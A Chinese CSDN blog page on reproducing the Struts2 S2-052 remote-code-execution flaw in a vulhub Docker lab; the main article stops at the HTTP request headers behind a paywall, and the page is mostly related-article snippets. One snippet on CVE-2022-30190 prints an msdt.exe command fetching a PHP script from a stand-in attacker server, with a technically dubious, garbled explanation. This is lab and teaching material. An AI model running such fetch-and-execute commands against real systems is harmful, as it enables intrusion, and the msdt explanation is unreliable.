复现S2-052远程代码执行漏洞

最新推荐文章于 2023-03-29 09:35:28 发布
最新推荐文章于 2023-03-29 09:35:28 发布
阅读量677 收藏
点赞数
文章标签： docker ubuntu
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/NLXHBM/article/details/124246973
版权
本文介绍了如何复现S2-052远程代码执行漏洞，通过docker-compose启动环境，定位Ubuntu IP，使用burpsuite抓包，构造并发送XML数据包触发漏洞，最终实现远程代码执行，在Docker容器内部创建文件/tmp/success。
摘要由CSDN通过智能技术生成

1.启动环境 docker-compose up -d

2.查找Ubuntu ip

3.burpsuite进行抓包 

 4.

  1. 发送以下数据包

POST /orders/3 HTTP/1.1

Host: 192.168.81.168:8080

Content-Length: 2419

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

Origin: http://192.168.81.168:8080

Content-Type: application/xml

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,ap

最低0.47元/天 解锁文章
NLXHBM
关注
[ vulhub漏洞复现篇 ] struts2远程代码执行漏洞s2-052（CVE-2017-9805）
qq_51577576的博客
12-15 1538
[ vulhub漏洞复现篇 ] struts2远程代码执行漏洞s2-052（CVE-2017-9805） Apache Struts2的REST插件存在远程代码执行的高危漏洞，其编号为CVE-2017-9805（S2-052）。Struts2 REST插件的XStream组件存在反序列化漏洞，使用XStream组件对XML格式的数据包进行反序列化操作时，未对数据内容进行有效验证，存在安全隐患，可被远程攻击。
[ vulhub漏洞复现篇 ] struts2远程代码执行漏洞S2-008 （CVE-2012-0391）
qq_51577576的博客
10-15 1143
[ vulhub漏洞复现篇 ] struts2远程代码执行漏洞S2-008 （CVE-2012-0391） S2-008 涉及多个漏洞，主要利用对传入参数没有严格限制，导致多个地方可以执行恶意代码。 第一种情况其实就是 S2-007，在异常处理时的OGNL 执行第二种的cookie的方式，虽然在struts2没有对恶意代码进行限制，但是java的webserver（Tomcat），对cookie 的名称有较多限制，在传入struts2之前就被处理，从而较为鸡肋第三种需要开启devModedebug 模式。
S2-052复现过程（附POC利用）
dfdhxb995397的博客
09-06 506
漏洞编号：CVE-2017-9805(S2-052) 影响版本：Struts 2.5 - Struts 2.5.12 漏洞概述：问题出现在struts2-rest-plugin插件XStreamHandler处理器中的toObject()方法，其中未对传入的值进行任何限制，在使用XStream反 0×01 搭建环境 直接部署struts-2.5.12-all中的struts...
S2-052 远程代码执行漏洞
EC_Carrot的博客
08-12 554
漏洞简介 影响版本: Struts 2.1.2 - Struts 2.3.33, Struts 2.5 - Struts 2.5.12 详细请看：https://github.com/vulhub/vulhub/blob/master/struts2/s2-052/README.zh-cn.md 漏洞复现 访问http://your-ip:8080/orders.xhtml即可看到showcase页面，由于rest-plugin会根据URI扩展名或Content-Type来判断解析方法，所以我们只需要修改o
S2-052 漏洞复现
weixin_41082546的博客
10-06 1139
Structs2框架已知的漏洞编号如下： S2-005 S2-009 S2-016 (含S2-013) S2-019 S2-020 S2-021 S2-032 S2-037（含S2-033) DevMode S2-045 S2-046 S2-048 S2-052 S2-055 S2-057 S2-052（CVE-2017-9805）环境： https://gi...
复现S2-045远程代码执行漏洞
weixin_67813445的博客
03-28 226
Apache官方发布Struts 2 紧急漏洞公告（S2-045），CVE编号CVE-2017-5638。公告中披露 ，当基于Jakarta插件上传文件时，可导致远程代码执行。例如在系统中获得管理员权限，执行添加用户。可任意查看、修改或删除文件。造成机密数据泄露，重要信息遭到篡改等重大危害。
docker复现s2-052远程代码执行漏洞
网安小白的博客
03-29 291
使用docker搭建s2-052远程代码执行漏洞（详细~）
Struts2-052 漏洞复现
Jietewang的博客
10-15 759
前言 struts2应用已是千疮百孔，最近突发奇想想研究一下相关原理和利用情况。s2-052漏洞由lgtm.com的安全研究员汇报，编号为CVE-2017-9805，是一个远程命令执行漏洞，漏洞危害程度为高危（Critical）。当用户使用带有 XStream 程序的 Struts REST 插件来处理 XML payloads 时，可能会遭到远程代码执行攻击。 影响版本：Struts 2.5.12 版本，百度说还影响到 2.3.33 版本。 1.环境搭建 本次复现采用ubuntu系统，利用...
Struts S2-052 漏洞复现
时光凉春衫薄的博客
07-23 1644
最近研究了一下docker 发现这个东西真的是快 漏洞环境许多地方都有现成的省的自己去搭建环境了。可以说真的是便利啊。 这两天又在研究struts2 下了环境做个试验玩玩 通过 docker pull medicean/vulapps:s_struts2_s2-052 下载这个漏洞的环境 查看本地的镜像 将这个镜像运行起来 我将docker的业务端口映射到本机的80端口上 ...
【漏洞复现】S2-052 (CVE-2017-9805)
weixin_30526593的博客
11-20 266
一、漏洞描述 Struts2 的REST插件，如果带有XStream组件，那么在进行反序列化XML请求时，存在未对数据内容进行有效验证的安全隐患，可能发生远程命令执行。 二、受影响版本 Struts2.5 – Struts2.5.12版本 Struts2.3.33版本 三、漏洞POC POST /struts2-rest-sho...
S2-052远程代码执行漏洞和S2-045远程代码执行漏洞复现
weixin_48739941的博客
04-21 1336
1.复现S2-052远程代码执行漏洞 (1) cd vulhub/struts2/s2-052 切换目录。 (2) docker-compose up -d 启动 (3) http://192.168.80.157:8080/orders.xhtml (4)burpsuite抓包。 (5)send to repeater，修改数据包： POST /orders/3/edit HTTP/1.1 Host: 192.168.80.157:8080 Accept: */* A
java struts漏洞_【重大漏洞预警】Struts2远程代码执行漏洞（S2-053/S2-052）
weixin_36170641的博客
03-04 471
原标题：【重大漏洞预警】Struts2远程代码执行漏洞(S2-053/S2-052)Struts远程代码执行漏洞(S2-053)一、漏洞详情漏洞编号：CVE-2017-12611漏洞等级：中级受影响版本：Struts2.0.1-Struts 2.3.33 Struts 2.5- Struts 2.5.10二、漏洞描述当开发者在使用表达式文字，或在Freemarker标签(见下方)下使用强制表达式时...
【S2-052】Struts2远程命令执行漏洞（CVE-2017-9805）
Unitue_逆流
10-13 6017
**操作机：**Windows 7**目标IP：**172.16.11.2:8080实验工具： Burp Suite：是用于攻击web 应用程序的集成平台。它包含了许多工具，并为这些工具设计了许多接口，以促进加快攻击应用程序的过程。所有的工具都共享一个能处理并显示HTTP 消息，持久性，认证，代理，日志，警报的一个强大的可扩展的框架，本次试验主要用到它的抓包改包功能。 Metasploit:一款
cve-2022-30190 msdt远程代码执行漏洞复现
最新发布
09-10
CVE-2022-30190是一个针对Microsoft的漏洞，被称为msdt远程代码执行漏洞。该漏洞允许攻击者通过利用命令行工具"msdt.exe"的特定参数进行远程代码执行。以下是关于该漏洞的复现过程。 首先，我们需要使用攻击者控制的远程服务器，以便在受影响的目标系统上执行恶意代码。我们创建以下PHP脚本，将其上传到我们的远程服务器上： ``` <?php system('calc.exe'); ?> ``` 这段代码将在目标系统上执行计算器应用程序，然后我们将通过"msdt.exe"命令行工具的特定参数利用该漏洞。 在受影响的目标系统上，我们将打开命令提示符，并执行以下命令： ``` msdt.exe "http://your-remote-server.com/evil-script.php" /id "netwoCpl" /showUI ``` 上述命令将启动"msdt.exe"并使用指定的URL作为参数，同时还指定了"networkCpl"作为"msdt.exe"的标识符。最后，使用"/showUI"参数显示用户界面。 当目标系统执行此命令时，"msdt.exe"会检索远程服务器上的脚本文件，并尝试执行该脚本。由于脚本文件具有恶意代码，它将在目标系统上执行计算器应用程序。 这就是CVE-2022-30190 msdt远程代码执行漏洞的一个简单复现过程。然而，值得注意的是，这只是为了说明该漏洞的原理，实际的攻击可能需要更复杂的技术和步骤。为了保护系统安全，我们建议及时更新受影响的软件，以修补此漏洞。还应该维护良好的网络安全措施，以减少被利用的风险。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值